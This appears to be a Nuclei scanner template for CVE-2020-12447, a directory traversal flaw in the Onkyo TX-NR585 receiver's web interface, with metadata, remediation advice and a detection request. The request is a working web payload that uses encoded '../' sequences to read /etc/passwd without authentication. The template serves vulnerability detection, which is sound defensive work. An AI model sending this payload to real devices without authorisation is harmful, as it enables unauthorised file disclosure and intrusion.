id: CVE-2020-12447

info:
  name: Onkyo TX-NR585 Web Interface - Directory Traversal
  author: 0x_Akoko
  severity: high
  description: Onkyo TX-NR585 1000-0000-000-0008-0000 devices allows remote unauthenticated users on the network to read sensitive files via %2e%2e%2f directory traversal and local file inclusion.
  impact: |
    An attacker can access sensitive files on the system, potentially leading to unauthorized access, information disclosure, or further exploitation.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the directory traversal vulnerability.
  reference:
    - https://blog.spookysec.net/onkyo-lfi
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12447
    - https://blog.spookysec.net/onkyo-lfi/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-12447
    cwe-id: CWE-22
    epss-score: 0.11822
    epss-percentile: 0.95552
    cpe: cpe:2.3:o:onkyo:tx-nr585_firmware:1000-0000-000-0008-0000:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: onkyo
    product: tx-nr585_firmware
  tags: cve,cve2020,onkyo,lfi,traversal,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a00463044022067e54d67e66d333baa2ac815905cbca1c0cfb7682f8db5423a640971a6eff4f30220586885b4aefd86c001609f1b1b71c4ad229976b670afe44cd5b9445aa0944370:922c64590222798bb761d5b6d8e72950